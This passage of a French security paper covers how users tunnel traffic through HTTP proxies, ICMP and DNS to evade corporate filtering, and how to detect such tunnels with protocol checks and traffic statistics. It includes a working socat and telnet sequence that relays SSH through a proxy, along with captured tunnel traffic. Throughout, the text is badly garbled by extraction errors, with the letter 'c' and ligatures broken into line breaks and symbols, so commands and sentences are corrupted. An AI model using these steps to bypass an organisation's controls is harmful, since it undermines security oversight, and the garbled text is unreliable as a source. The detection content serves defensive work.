e qui a eu pour e�et de rendre les défenses

périmétriques de plus en plus poreuses.

Cet arti
le ne s'atta
hera pas à trouver des 
anaux 
a
hés bas niveau mais s'intéressera à l'usage

pratique des te
hniques non intrusives qu'un usager peut utiliser pour 
ontourner la politique de

sé
urité de l'entreprise. Ces te
hniques s'appuient sur des proto
oles standards tels HTTP, HTTPS,

DNS, ICMP, et
. dans un réseau qu'on suppose �ltré et béné�
iant d'une sé
urité raisonnable (mise

en pla
e de relais appli
atifs, et
.). L'arti
le présentera par la suite 
omment déte
ter 
es outils et

plus généralement 
es te
hniques pour �nir sur la présentation d'un ensemble d'outils de déte
tion

de tunnels.

2 Types de tunnels et outils

2.1 Tunnels HTTP

Les tunnels HTTP représentent très 
ertainement la forme de tunnels la plus simple et la plus

ren
ontrée 
ar 
e proto
ole est fréquemment autorisé dans les entreprises par le biais de relais

appli
atifs.

Un utilisateur malveillant est en mesure de 
ontourner les prote
tions mises en pla
e en utilisant

le relais HTTP ave
 :

� la méthode CONNECT (né
essaire au fon
tionnement des navigateurs en HTTPS au travers

d'un relais appli
atif),

� des requêtes HTTP 
lassiques de type GET et/ou POST sur des s
ripts CGI ou en passant

dire
tement des informations dans les URL.
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Relayage arbitraire TCP dans CONNECT Le 
as le plus simple de tunnels utilisant la

méthode CONNECT est l'usage d'un serveur SSH é
outant sur un port non standard (443 par

exemple) autorisé à être a

édé par le biais d'un relais appli
atif. Un utilisateur mali
ieux pourra


ombiner l'utilisation de SSH ave
 un programme tel So
at [1℄ pour relayer sa 
onnexion SSH de

manière transparente au niveau du relais TCP :

$ so
at t
p4-listen:2222 proxy:
arbone.hs
.fr:unserveurssh.
om:22

proxyport=8080

$ telnet 
arbone.hs
.fr 8080

Trying 192.70.106.49...

Conne
ted to 
arbone.hs
.fr.

Es
ape 
hara
ter is '^℄'.

CONNECT unserveurssh.
om:443 HTTP/1.0

HTTP/1.0 200 Conne
tion established

SSH-2.0-OpenSSH_4.2

$ ssh -p 2222 user�lo
alhost

debug1: Conne
ting to lo
alhost [127.0.0.1℄ port 2222.

debug1: Conne
tion established.

[...℄

debug1: Remote proto
ol version 2.0, remote software version

OpenSSH_4.2

[...℄

Cette méthode est aussi utilisée par de nombreux logi
iels tels Skype pour établir un 
anal de don-

nées ave
 plusieurs super-nodes (si des 
onnexions dire
tes n'aboutissent pas). Certaines 
onnexions

initiées à destination du port 443 ne sont pas du SSL/TLS standard (il n'y a pas d'é
hanges Client

Hello, Server Hello, et
.) :

CONNECT 195.215.8.142:443 HTTP/1.0

HTTP/1.0 200 Conne
tion established

...............A..../...A..-.......romiglups......A....(...A....

Utilisation de SSL Comme 
i-dessus, les tunnels SSL utilisent pour passer les relais HTTP la

méthode CONNECT, mais vont 
réer une vraie session SSL (
omme HTTPS) pour transporter des

données arbitraires et 
hi�rées. Il devient alors extrêmement di�
ile de les déte
ter par analyse

de proto
ole, puisque leur empreinte est similaire à 
elle laissée par un navigateur utilisant un site

sé
urisé.
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On peut 
iter parmi 
es tunnels SSL tous les VPN SSL 
ommer
iaux (dont la plupart utilisent

une en
apsulation de So
ks dans SSL a�n d'o�rir un multiplexage) (Aventail, F5, Cis
o, ...) et des

solutions OpenSour
e telle que SSLTunnel [2℄ ou Stunnel [3℄.

Fig. 1. Interfa
e de 
on�guration de SSLTunnel

Relayage en utilisant GET et POST A la di�éren
e des méthodes pré
édentes, dans lesquelles

le relayage TCP était e�e
tué de bout en bout, d'autres types de tunnels vont en
apsuler leurs

données dans des é
hanges HTTP valides, en utilisant les méthodes 
lassiques POST et GET.

Plusieurs outils peuvent être 
ités, utilisant des te
hniques parfois di�érentes :

� Firepass [4℄ est un outil de tunnel HTTP utilisant des requêtes POST sur un s
ript CGI d'un

serveur distant. Le s
ript CGI appelé est systématiquement sous la forme /
gi-bin/fpserver.
gi

et il est a

édé ave
 des en-têtes de requête HTTP 
orre
tement formés (
hamps Host, Content

Type, User-Agent, et
.). Les 
onnexions e�e
tuées ne sont pas permanentes, un mé
anisme de

polling régulier est mis en pla
e pour permettre au serveur d'émettre 
es données en réponse

à des requêtes POST lorsqu'une session a
tive est établie :
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Hypertext Transfer Proto
ol

POST http://firepass.hs
.fr:80/
gi-bin/fpserver.
gi HTTP/1.1\r\n

Content-Type: appli
ation/o
tet-stream\r\n

User-Agent: Mozilla/4.0 (
ompatible; MSIE 6.0; Windows 98)\r\n

Host: firepass.hs
.fr\r\n

Content-Length: 0\r\n

X-Session: 1\r\n

X-Counter: 198\r\n

X-Conne
tion: alive\r\n

Proxy-Conne
tion: Keep-alive\r\n

Pragma: no-
a
he\r\n

� GNU HTTPTunnel [5℄ utilise dire
tement les URL pour transmettre les données à l'aide de

requêtes POST et GET. Un 
anal de 
ommuni
ation est ouvert dans 
haque sens : POST pour

envoyer et GET pour re
evoir. Ces 
anaux sont réinitialisés au bout d'une 
ertaine quantité

de données é
hangées (∼ 65ko) 
e qui permet de ne pas avoir à utiliser de mé
anisme de

polling. L'URL a

édée se présente toujours sous la même forme /index.html ?
rap=XYZ et

au
un 
hi�rement natif n'est mis en pla
e 
e qui permet de voir transiter en 
lair 
ertaines

bannières 
ara
téristiques :

Client -> Proxy

Hypertext Transfer Proto
ol

POST http://tun.hs
.fr:80/index.html?
rap=1143719371

HTTP/1.1\r\n

[...℄

Client -> Proxy

Hypertext Transfer Proto
ol

GET http://tun.hs
.fr:80/index.html?
rap=1143719371

HTTP/1.1\r\n

[...℄

Client -> Proxy (banniere SSH du 
lient)

Hypertext Transfer Proto
ol

Data (519 bytes)

0000 53 53 48 2d 32 2e 30 2d 4f 70 65 6e 53 53 48 5f

SSH-2.0-OpenSSH_

0010 34 2e 32 70 31 20 44 65 62 69 61 6e 2d 35 0a 00



273

4.2p1 Debian-5..

[...℄

Proxy -> Client (banniere SSH du serveur distant)

Hypertext Transfer Proto
ol

Data (22 bytes)

0000 00 14 53 53 48 2d 32 2e 30 2d 4f 70 65 6e 53 53

..SSH-2.0-OpenSS

0010 48 5f 34 2e 32 0a H_4.2.

[...℄

Des so
iétés à vo
ation 
ommer
iale ont aussi investi le 
réneau des tunnels HTTP pour faire

pro�ter à leurs 
lients, moyennant �nan
e, des divers logi
iels de messagerie instantanée et autre

Peer to Peer en toute impunité. Ces logi
iels proposent dans la plupart des 
as des 
lients graphiques

généralement sous Windows.

� Loophole [6℄ est l'exemple même d'un tunnel HTTP avan
é implémentant du 
hi�rement

Blow�sh nativement et utilisant des POST sur des URL partiellement aléatoires a�n de ne

pas éveiller de soupçons � de prime abord � sur la nature des �ux é
hangés. De la même façon

que pour Firepass, un mé
anisme de polling est né
essaire à son bon fon
tionnement. C'est

un logi
iel 
ommer
ial utilisant une interfa
e graphique en Java et pouvant fon
tionner en

relais SOCKS pour l'en
apsulation de �ux autres que TCP.

Hypertext Transfer Proto
ol

POST http://tun.hs
.fr:80/display/mode/forum/minimize.asp

HTTP/1.0\r\n

Request Method: POST

Request URI: http://tun.hs
.fr:80/display/mode/forum/minimize.asp

Request Version: HTTP/1.0

Content-Type: appli
ation/o
tet-stream\r\n

Content-Length: 480\r\n

Hypertext Transfer Proto
ol

POST http://tun.hs
.fr:80/pa
k/imply.asp

HTTP/1.0\r\n

Request Method: POST

Request URI: http://tun.hs
.fr:80/pa
k/imply.asp

Request Version: HTTP/1.0

Content-Type: appli
ation/o
tet-stream\r\n
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Content-Length: 312\r\n

Fig. 2. Interfa
e Java de LoopHole

� D'autres so
iétés proposent les mêmes types de servi
es 
ommer
iaux : So
ks2HTTP [7℄,

Hopster [8℄, HTTP Tunnel [9℄, et
 ave
 des te
hniques de dissimulation plus ou moins évoluées.

2.2 Tunnels ICMP

Le proto
ole ICMP peut lui aussi servir à monter des tunnels par le biais de requêtes E
ho

Request (type 8) et E
ho Reply (Type 0). PingTunnel [10℄ est un exemple d'outil utilisant 
es

requêtes 
ontenant des messages d'états, des numéros de séquen
e à usage interne et un 
hamp

spé
ial permettant de di�éren
ier les requêtes ICMP du tunnel de 
elles utilisées par ping. A 
es


ara
téristiques de paquets est asso
ié un proto
ole de 
ommuni
ation et de retransmission en 
as

de perte. Il est important de noter que la tête de tunnel ICMP doit être 
on�gurée pour empê
her sa

propre pile IP de répondre aux messages ICMP. En e�et, un �rewall protégeant un 
lient n'a

eptera

qu'un seul paquet E
ho Reply par E
ho Request émis (ave
 un même numéro de séquen
e), bloquant

ainsi l'établissement du tunnel.

Du 
lient vers la tête de tunnel ICMP :
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Internet Control Message Proto
ol

Type: 8 (E
ho (ping) request)

Code: 0

Che
ksum: 0x68b5 [
orre
t℄

Identifier: 0xa
12

Sequen
e number: 0x0000

Data (28 bytes)

0000 d5 20 08 80 52 e8 
6 85 00 00 00 16 40 00 00 00

. ..R.......�...

0010 00 00 ff ff 00 00 00 00 00 00

a
 12 ............

La réponse de la tête de tunnel ICMP :

Internet Control Message Proto
ol

Type: 0 (E
ho (ping) reply)

Code: 0

Che
ksum: 0x957
 [
orre
t℄

Identifier: 0xa
12

Sequen
e number: 0x0000

Data (48 bytes)

0000 d5 20 08 80 00 00 00 00 00 00 00 00 80 00 00 02

. ..............

0010 00 00 00 01 00 00 00 14 00 00 a
 12 53 53 48 2d

............SSH-

0020 32 2e 30 2d 4f 70 65 6e 53 53 48 5f 34 2e 32 0a

2.0-OpenSSH_4.2.

2.3 Tunnels DNS

Le proto
ole DNS est � à tort � 
onsidéré 
omme un proto
ole � ino�ensif �. Il o

upe une

pla
e très importante dans le bon fon
tionnement des systèmes d'informations et autorise dans la

plupart des 
as l'interrogation de serveurs de noms externes. De 
e fait, il peut représenter une

possibilité de fuite d'informations vers un serveur 
ontr�lé par une personne malveillante. Nstx [11℄

et Dns2t
p [12℄ sont deux logi
iels exploitant 
es propriétés pour en
apsuler des données dans des

requêtes DNS (en
apsulation d'IP dans DNS pour Nstx et TCP sur DNS pour Dns2t
p). Certains

types de requêtes et de réponses du proto
ole DNS sont parti
ulièrement adaptés au transport de

données arbitraires : 
'est le 
as des enregistrements TXT et KEY par exemple qui sont transmis

de bout en bout dans la 
haîne de serveurs DNS. Des données en
odées en base64 peuvent alors y

être insérées :
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Domain Name System (query)

Transa
tion ID: 0xe5
4

Flags: 0x0100 (Standard query)

0... .... .... .... = Response: Message is a query

.000 0... .... .... = Op
ode: Standard query (0)

.... ..0. .... .... = Trun
ated: Message is not trun
ated

.... ...1 .... .... = Re
ursion desired: Do query re
ursively

.... .... .0.. .... = Z: reserved (0)

.... .... ...0 .... = Non-authenti
ated data OK: Non-authenti
ated

data is una

eptable

Questions: 1

Answer RRs: 0

Authority RRs: 0

Additional RRs: 0

Queries

bTg
1fuuaa
ICreaaqazAU7bgAHXs5mAf34WafIANOx7vOCKXubadGn2xaabH.\

nstxd.hs
.fr:

type TXT, 
lass IN

Name:

bTg
1fuuaa
ICreaaqazAU7bgAHXs5mAf34WafIANOx7vOCKXubadGn2xaabH.\

nstxd.hs
.fr

Type: TXT (Text strings)

Class: IN (0x0001)

Un mé
anisme de polling est mis en pla
e par le 
lient pour envoyer à intervalles de temps régulier

des interrogations DNS, 
es requêtes étant ensuite bu�erisées pendant un 
ertain temps 
�té serveur

pour un éventuel envoi de données � Serveur vers Client �.

Au sein d'une entreprise, seuls les relais appli
atifs devraient pouvoir e�e
tuer des requêtes DNS

vers l'extérieur, les ma
hines internes devant se limiter à l'interrogation d'un DNS privé.

Ce type de tunnels est plus préo

upant pour les fournisseurs de HotSpot WiFi 
ar ils ne

peuvent pas fa
ilement empê
her les résolutions DNS avant l'authenti�
ation de l'utilisateur sur le

portail 
aptif Web. Un utilisateur astu
ieux est don
 en mesure d'utiliser le servi
e sans payer. Une

solution simpliste serait d'utiliser un DNS temporaire (suite à une redire
tion au niveau des règles

de �ltrage) avant l'authenti�
ation de l'utilisateur renvoyant systématiquement une même adresse

... mais 
ela pose un problème au niveau du 
a
he DNS de la ma
hine 
liente (sous Windows en

natif ave
 un navigateur 
omme Internet Explorer par exemple) 
ar 
elle-
i ne pourra pas résoudre


orre
tement l'adresse qu'elle aura saisie avant d'être redirigée sur le portail 
aptif. Cette solution

étant ina

eptable pour des utilisateurs légitimes du servi
e, on retrouve systématiquement les

résolutions DNS externes autorisées avant l'authenti�
ation et don
 la possibilité de monter 
e type

de tunnels. A noter également que 
ertains fournisseurs d'a

ès sans �l ne prennent même pas la

peine de véri�er que le proto
ole DNS est utilisé sur le port 53/udp, laissant ainsi la possibilité de

monter un tunnel PPP sur UDP par exemple.
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2.4 Déte
tion en temps réel

2.5 Ar
hite
tures et Contraintes

La déte
tion de tunnels en temps réel permet de réagir immédiatement, et d'observer � in situ �

le tra�
 généré. Elle permet également de déte
ter plus de types de tunnels, et de 
onstituer au

�l de l'eau une liste de ma
hines ou d'utilisateurs au 
omportement suspe
t dont il sera possible

d'auditer le tra�
 par des moyens plus traditionnels.

Cette déte
tion peut s'e�e
tuer selon di�érents pro
édés :

� par é
oute passive du tra�
, en di�érents points du réseau :

� �rewalls,

� routeurs,

� serveurs appli
atifs relayant le tra�
 des utilisateurs (relais HTTP, relais génériques, ...).

Cette é
oute doit être suivie d'une analyse du tra�
, et sa 
onfrontation par rapport à une liste de


ritères, parfois dynamiques, à déterminer.

� par mise en pla
e de 
ontr�les dans les relais eux-mêmes : la déte
tion peut alors s'e�e
tuer à

un niveau plus élevé, en analysant de bout en bout le tra�
 émis et en véri�ant sa 
ohéren
e

ave
 le proto
ole demandé.

� par mise en pla
e de moyens de déte
tion dans 
haque poste 
lient, par exemple par inter
ep-

tion des 
ommuni
ations TCP/IP 
omme le font les anti-virus et les HIDS.

D'une manière pratique, seule la première solution (é
oute passive) est su�samment fa
ile à

déployer et générique pour être utilisable dans un grand réseau basé sur des relais HTTP fermés

ou di�
iles à étendre (sour
es indisponibles).

Malheureusement, 
ette solution a également des in
onvénients di�
iles à maîtriser et à borner :

� né
essité de pouvoir é
outer tout le tra�
 é
hangé entre les postes 
lients et le monde extérieur :

un réseau de grande taille peut disposer de plusieurs points d'a

ès à Internet, 
ertains étant

implantés dans des lieux di�érents (�liales, ...).

� né
essité de pouvoir é
outer un volume de tra�
 IP parfois 
onséquent, 
e qui suppose de

disposer d'un moyen d'é
oute et d'un système d'exploitation assez rapides pour ne pas perdre

de paquets.

Il est en e�et fondamental de ne manquer au
un paquet réseau, en parti
ulier en 
e qui 
on
erne

le tra�
 TCP qu'il va être né
essaire de ré-assembler, a�n de pouvoir :

� Analyser le début des 
onnexions, en parti
ulier l'établissement de la session appli
ative entre

le 
lient sur le réseau lo
al et le serveur situé sur le réseau externe.

� Être prévenu de la �n de la 
onnexion TCP, a�n de pouvoir journaliser ses 
ara
téristiques

pour les analyses statistiques.

Ce ré-assemblage doit évidemment tenir 
ompte :

� des fragments IP

� des paquets TCP réémis, à l'identique ou par 
on
aténation de paquets non a
quittés,

� de la fenêtre TCP a
tuelle.

Il est bien sûr important que l'é
oute puisse résister à des 
ontournements triviaux, 
omme l'uti-

lisation de logi
iels 
omme fragrouter [13℄ e�e
tuant une fragmentation au niveau IP, ou de relais

TCP permettant de s
inder les paquets TCP 
omme so
at. En 
ela, les pré
autions à prendre et la

qualité d'un déte
teur sont très pro
hes de 
elles requises pour un système de déte
tion d'intrusion

réseau, et les vulnérabilités et limites d'un tel système doivent être bien 
omprises.
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2.6 Analyse du proto
ole

Cette analyse est la plus � simple � : elle vise à s'assurer que les ports assignés à un proto
ole

par l'IANA sont utilisés par les proto
oles prévus.

Cette analyse doit permettre de déte
ter par exemple les 
onnexions SSH sur un port non

standard, l'en
apsulation sur UDP/53 (DNS) d'un proto
ole UDP autre.

Dans le 
adre de la déte
tion de tunnels dans un réseau déjà �ltré et n'utilisant que des relais

appli
atifs, l'analyse à 
e niveau doit 
onduire par exemple à :

� véri�er que le tra�
 sur le port 80 utilise 
onvenablement le proto
ole HTTP, que les requêtes

et réponses sont 
onvenablement formatées,

� véri�er que le proto
ole utilisé dans une requête de type CONNECT vers un relais HTTP est

bien SSL.

Il est bien évident que le proto
ole ne peut pas être suivi de bout en bout sans sa
ri�er les perfor-

man
es, et qu'un outil réaliste ne s'appuiera que sur une déte
tion du début de la 
onnexion.

HTTP En HTTP, on s'assurera notamment :

� Que les requêtes adressées au relais HTTP (ou en dire
t) utilisent une méthode HTTP stan-

dard (GET, POST, HEAD) ou à la limite Webdav (bien que l'utilisation de 
es méthodes soit

déjà très peu 
ourante sur Internet).

� Que les requêtes POST in
luent un mode de transfert valide (multipart-form/data ou appli
ation/x-

www-form-urlen
oded) et un en-tête Content-Length 
onforme ; ou bien utilisent le mode

HTTP/1.1 Chunked.

� Que les requêtes in
luent un en-tête User-Agent et un en-tête Host (optionnel en HTTP/1.0

mais utilisé par tous les navigateurs depuis 1996).

� Que les réponses du serveur in
luent un en-tête Content-Type ou Transfer-En
oding 
ontenant

la valeur Chunked.

Proxy HTTPS Dans le 
as d'une utilisation de relais HTTPS (méthode CONNECT), qui est on

l'a vu la méthode la plus utilisée a�n de 
ontourner la politique de sé
urité, on devra véri�er :

� que l'adresse demandée est de type DNS FQDN (un 
erti�
at SSL publi
 et signé par une

autorité valide ne devant jamais 
ontenir une adresse IP, il est ex
lu qu'un usage normal de

SSL fasse appel à une adresse IP numérique). Si des ex
eptions sont né
essaires, elles doivent

être gérées au 
oup par 
oup. Cette 
ara
téristique permet de déte
ter de nombreux logi
iels

utilisant CONNECT pour établir des 
onnexions arbitraires, notamment Skype, de nombreux

logi
iels de VPN SSL, ...

� que le port demandé au relais est bien 443, ou tout autre port expli
itement prévu par l'ad-

ministrateur.

� que les en-têtes Host et User-Agent sont présents et valides dans la requête CONNECT (
ette

disposition n'est pas une obligation du proto
ole, mais les navigateurs la suivent).

Une requête CONNECT bien formée par un navigateur moderne se présente ainsi sous la forme :

CONNECT www.verisign.
om:443 HTTP/1.1

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6)

Firefox/1.0.1

Proxy-Conne
tion: keep-alive
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Host: www.verisign.
om

HTTP/1.0 200 Conne
tion established

SSL En 
e qui 
on
erne le suivi de SSL (que 
e soit en dire
t ou au travers de la méthode

CONNECT), on pourra véri�er assez simplement :

� que le premier paquet de données est émis par le 
lient (Client Hello) : 
ette 
ara
téristique

permet par exemple de déte
ter les 
onnexions SSH émises sur le port 443, ou tout autre

proto
ole dans lequel le serveur envoie sa bannière avant que le 
lient n'émette (et 
'est une

majorité).

� que les données é
hangées dans les deux premiers paquets sont 
onformes à SSLv2 ou SSLv3,

et en parti
ulier qu'ils sont de type � Client Hello � ou � Client Handshake �, puis � Server

Hello � ou � Server Handshake �.

La mise en pla
e du 
hi�rement immédiatement après 
et é
hange (
as d'utilisation de Di�e

Hellman, réutilisation d'une 
lé de session existante) ne permet pas d'aller plus loin, on peut toutefois

véri�er que les paquets suivants ont bien un type SSL 
onnu (Appli
ation Data, Cipher Spe
,

...). Etendre les 
ontr�les (véri�
ation notamment des longueurs d'enregistrement SSL) est sans

doute di�
ile, super�u et 
oûteux en CPU, en parti
ulier à 
ause du réassemblage né
essaire des

enregistrements SSL.

Une déte
tion intelligente (mais très 
oûteuse et di�
ile à généraliser sur un grand réseau) est

de 
al
uler l'entropie du �ux de données : un vrai �ux 
hi�ré générera une entropie maximale,

une en
apsulation de proto
ole non 
hi�ré sera moins aléatoire. Cette idée à donné naissan
e au

logi
iel Net-Entropy [14℄ développé par Julien Olivain du laboratoire LSV de l'ENS Ca
han. Cette

méthode ne permet pas en revan
he de déte
ter les en
apsulations 
hi�rées (par exemple l'utilisation

de 
lients VPN 
omme Che
kPoint Se
uRemote).

Analyse des en-têtes Le 
omportement des navigateurs utilisés dans le réseau de l'entreprise est

en général relativement fa
ile à déterminer :

� Utilisation de logi
iels plus ou moins standardisés, installés dans un � master �.

� Volume important de requêtes et usage régulier des logi
iels, 
e qui rend possible une analyse

de l'existant et une déte
tion assez rapide des ex
eptions.

Il est don
 possible d'examiner le tra�
 entre le réseau de l'entreprise et le proxy, a�n de lister

notamment :

� les en-têtes � User-Agent � générés par les logi
iels agrées,

� les éventuels logi
iels non standards utilisés et leur 
omportement.

Un logi
iel de déte
tion peut don
 s'appuyer sur 
ette 
onnaissan
e pour signaler tout autre logi
iel

non prévu, 
e qui permettra ensuite à l'administrateur réseau d'enquêter. De même, l'absen
e

d'en-tête User-Agent est fortement suspe
te. Ces simples tests permettent de ré
upérer un nombre

importants de logi
iels non voulus, que 
e soit de simples spywares ou de tunnels plus évolués.

Évidemment, la mise en 
onformité de 
es logi
iels est possible relativement simplement, mais les

utilisateurs les moins avertis ne seront pas 
apables de le 
hanger, et surtout la 
on�guration par

défaut, utilisée lors de leurs premiers tests, est don
 repérable.

La liste de User-Agent 
i-dessous a été dé
ouverte en quelques heures de tra�
 sur un réseau de

quelques 
entaines de PC :

442 A
robat Messages Updater
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7 Adobe Online Manager

5 Avant Browser (http://www.avantbrowser.
om)

13 BW-C-2.0

4 CryptRetrieveObje
tByUrl::InetS
hemeProvider

9 Google Talk

7 LAN-Console [workstation℄ 2004 Server

6 M
Afee AutoUpdate

3 Mi
rosoft BITS/6.2

2 Mi
rosoft Offi
e Proto
ol Dis
overy

2 Mi
rosoft(r) Windows(tm) FTP Folder

1 Mi
rosoft-CryptoAPI/5.131.2600.2180

6 Mi
rosoft-CryptoAPI/5.131.3790.0

3 Mi
rosoft-WebDAV-MiniRedir/5.1.2600

35 Mozilla/3.0 (
ompatible; A
robat SOAP 1.0)

3 Mozilla/4.0 (Compatible; MyWay)

3 Mozilla/4.0 (Compatible; MyWaySear
hAssistant)

2 Mozilla/4.0 (
ompatible; GoogleToolbar 3.0.131.0-big;

Windows 2000 5.0)

44 Mozilla/4.0 (
ompatible; GoogleToolbar 3.0.131.0-big;

Windows XP 5.1)

79 Mozilla/4.0 (
ompatible; Lotus-Notes/6.0; Windows-NT)

111 Mozilla/4.0 (
ompatible; MSIE 6.0; Windows NT 5.1; SV1;

.NET CLR

1.1.4322; MSN Messenger 7.0.0777)}

4 NSISDL/1.2 (Mozilla)

2 NSPlayer/4.1.0.3928

4 NetClient/5.09.6

1 Qui
kTime (qtver=6.4;os=Windows NT 5.0Servi
e Pa
k 3)

6 RMA/1.0 (
ompatible; RealMedia)

2 Toolbar

1 Windows-Media-Player/9.00.00.3344

5 pmx-ppm/4.7.1.128075 (S662C1589D; linux) libwww-perl/5.69

1 session name

On note en parti
ulier que MSN Messenger, quand il est en
apsulé dans HTTP, utilise un User-

Agent assez re
onnaissable. De même Google Talk est fa
ilement repérable dans 
e tra�
.

Il est à noter également que le télé
hargement des CRLs par Windows utilise un User-Agent

spé
i�que (Mi
rosoft-CryptoAPI ).

La mise en pla
e d'une liste de 
lients 
onnus permet don
 de repérer rapidement tout nouveau

logi
iel.

3 Déte
tions statistiques

3.1 Prin
ipes

La déte
tion statistique va s'atta
her à déterminer par une étude a-posteriori des 
onnexions

sortantes quelles sont 
elles qui sont sus
eptibles d'avoir été des tunnels.



281

Cette déte
tion va s'appuyer :

� sur le relevé des 
ara
téristiques e�e
tué par é
oute du tra�
,

� sur les journaux des relais appli
atifs,

� sur quelques propriétés intrinsèques de 
haque proto
ole.

On s'intéressera prin
ipalement dans la suite à HTTP et HTTPS qui sont les proto
oles généra-

lement autorisés à sortir du réseau de l'entreprise, et qui sont les moyens les plus génériques et

� tout-terrain � a�n de passer des informations.

L'étude statistique doit s'intéresser :

� aux 
onnexions une par une,

� aux requêtes HTTP dans leur ensemble d'un 
lient vers un serveur.

Pour que les statistiques aient un sens, il est né
essaire qu'elles in
luent l'adresse IP réelle du 
lient,

et que la 
apture du tra�
 (ou les journaux) soit e�e
tuée entre le poste 
lient et le relais appli
atif.

Si HTTP 1.1 est utilisé, la 
onnexion TCP doit être s
indée en autant de requêtes HTTP que

né
essaire pour l'analyse des requêtes unitaires.

3.2 Métriques

A�n de pouvoir exploiter au mieux les informations, il est né
essaire de 
onnaître pour 
haque

requête HTTP adressée au relais :

� Les adresses IP sour
e, destination, les ports sour
e et destination.

� L'URL a

édée (ou le serveur et le port dans le 
as de HTTPS).

� Le nombre de paquets de données é
hangés dans 
haque sens (
e qui est di�érent évidemment

du nombre de paquets TCP : on ne s'intéresse i
i qu'aux paquets portant une 
harge, en

ignorant les a
quits vides).

� Le volume de données é
hangées dans 
haque sens.

� La durée de la 
onnexion depuis son établissement jusqu'à sa �n TCP.

� La durée de la 
onnexion dans 
haque sens (période utile pendant lesquelles des données ont

transité).

� L'intervalle moyen entre deux paquets de données dans 
haque sens.

� L'é
art type de 
es intervalles.

On 
onstate rapidement que les journaux appli
atifs ne su�sent pas : la notion du nombre paquets

de données leur sera en général étrangère. De même, un �rewall s'intéressera et fournira des in-

formations sur le nombre de paquets TCP dans la 
onnexion, mais ne distinguera pas les paquets

utiles des simples ACK TCP sans 
harge.

A partir de 
es données, il est possible de déterminer :

� la taille moyenne des paquets é
hangés dans 
haque sens,

� la bande passante utilisée,

� le ratio upload/download.

Si l'on s'intéresse maintenant à un dialogue sur le moyen terme entre un 
lient un serveur, il est

intéressant de 
onnaître :

� le nombre total de requêtes adressées par un 
lient à un serveur en parti
ulier (�gure 3.3),

� la somme des volumes é
hangés dans 
haque sens ave
 
e serveur,

� l'intervalle moyen entre deux requêtes,

� l'é
art-type de 
et intervalle.

Le problème lors de 
e 
al
ul étant de déterminer quelles sont les requêtes appartenant à une même

� série � a�n de distinguer deux sessions de tunnels. D'une manière arbitraire, on peut estimer



282

qu'un tunnel de données n'ayant rien é
hangé pendant plusieurs minutes est relan
é (
e qui bien

évidemment ex
lut de l'étude les tunnels � lents � qui pourraient permettre de faire sortir des

données sur le long terme).

3.3 Durée de la 
onnexion

Le graphe 
i-dessous montre la distribution de la durée des 
onnexions HTTP ou HTTPS a

l'entrée d'un relais Squid. Il montre de manière 
laire que les 
onnexions de plus de 1000 se
ondes

sont très rares, même s'il faudrait 
orréler 
ette information ave
 le volume de données é
hangées

(gros télé
hargements notamment).

3.4 Ratio Upload/Download

Une 
ara
téristique très intéressante de HTTP est qu'il est très rare que les é
hanges y soient

symétriques : la plupart des é
hanges sont orientés vers le navigateur qui reçoit plus de données qu'il

n'en émet. Il est possible également d'envoyer des données en grand nombre (upload de �
hiers),

mais la plupart du temps la réponse du serveur sera alors plus 
ourte que la requête.

Cette règle est évidemment à pré
iser : de nombreuses réponses à des requêtes HTTP ou HTTPS

sont très 
ourtes (petites images, pages d'erreur, Javas
ript, ...). Il est don
 né
essaire de s'intéres-

ser au nombre de paquets de données é
hangées (somme des deux sens) et d'appliquer alors une

heuristique.

Le graphe 
i-dessous montre le ratio upload/download ou download/upload (on 
hoisit le plus

faible) pour 1062 
onnexions HTTP ou HTTPS émises à travers un relais Squid. Ces 
onnexions


ontenaient 
ha
une plus de 150 paquets au total, a�n que le ratio 
al
ulé soit signi�
atif : On
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onstate de manière très 
laire que seules quelques 
onnexions ont un ratio supérieur à 0.5, et que

l'immense majorité a un ratio inférieur à 1 sur 100. Ce 
ritère permet notamment de déte
ter :

� les VPN SSL 
omme SSLTunnel ou Aventail [15℄ utilisés pour a

éder à des ressour
es inter-

a
tives 
omme une émulation de terminal, Windows Terminal Servi
es ou Citrix.

� les 
onnexions aux servi
es de 
hat en utilisant la méthode CONNECT (Google Talk notam-

ment),

� les 
onnexions à des servi
es 
omme Webex [16℄ autorisant la mise en partage de données

entre parti
ipants.

Il est bien évident que si le tunnel est utilisé prin
ipalement pour télé
harger de gros �
hiers, il

est probable que 
e 
ritère ne soit plus déterminant, puisque le déséquilibre sera rétabli.

3.5 Taille des paquets

Une requête/réponse HTTP est la plupart du temps une transa
tion rapide, dans laquelle la


onnexion TCP va être utilisée au maximum a�n que les informations arrivent vite au 
lient ou au

serveur : les paquets de données TCP seront en général remplis au maximum de la 
apa
ité du lien

(MSS du serveur ou du 
lient), et don
 la plupart du temps entre 1400 et 1500 o
tets.

Le graphe 
i-dessous est un histogramme de la taille moyenne des paquets reçus ou émis par

un 
lient HTTP pla
é derrière un relais Squid. La en
ore, les é
hanges inférieurs à 150 paquets

ont été ignorés. On 
onstate que la plupart des é
hanges ont une taille supérieure à 700 o
tets.

Les deux 
onnexions inférieures à 200 sont e�e
tivement des tunnels (SSLTunnel et WebEx). Le


as des données entre 600 et 700 o
tets est plus di�
ile à tran
her : il est à noter en parti
ulier

qu'en HTTPS, il est impossible de déterminer le 
ontenu des é
hanges HTTP, et qu'en parti
ulier

l'utilisation du KeepAlive en HTTP 1.1 à l'intérieur de SSL peut amener, par exemple lors du


hargement d'une page 
omplexe dans la même 
onnexion TCP, à produire de nombreux paquets
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de petite taille. Pour 
es é
hanges, il est alors intéressant de véri�er si d'autres 
ritères peuvent


on�rmer la suspi
ion (longueur, ratio, bande passante, URL évidemment, ...).

3.6 Intervalle entre requêtes

Une métrique intéressante à analyser est l'intervalle de temps é
oulé entre 
haque requête, pour

les serveurs a

édés de manière ré
urrente (par exemple plus de 200 requêtes/jour) par le même


lient.

Si le nombre de requêtes est élevé et que l'intervalle est réduit (moins d'une minute en moyenne),

il est alors intéressant de 
al
uler l'é
art-type de 
et intervalle : la distribution 
i-dessous montre

qu'un é
art type inférieur à 10 est très rare, et dans les faits, le signal de requêtes automatiques

(aspirateur 
omme wget) ou de tunnels dans HTTP né
essitant qu'un � poll � régulier du serveur

soit e�e
tué.

Ce 
ritère permet aussi par exemple de déte
ter l'utilisation de passerelles Chat ↔ HTTP.

HTTP 
omme 
elle utilisée par le 
lient Mi
rosoft MSN Messenger quand il est situé derrière un

relais HTTP.

4 Moltunnel

4.1 Prin
ipe et fon
tionnement

Moltunnel est un logi
iel développé par HSC permettant de mettre en pratique quelques unes

des méthodes dé
rites 
i-dessus.

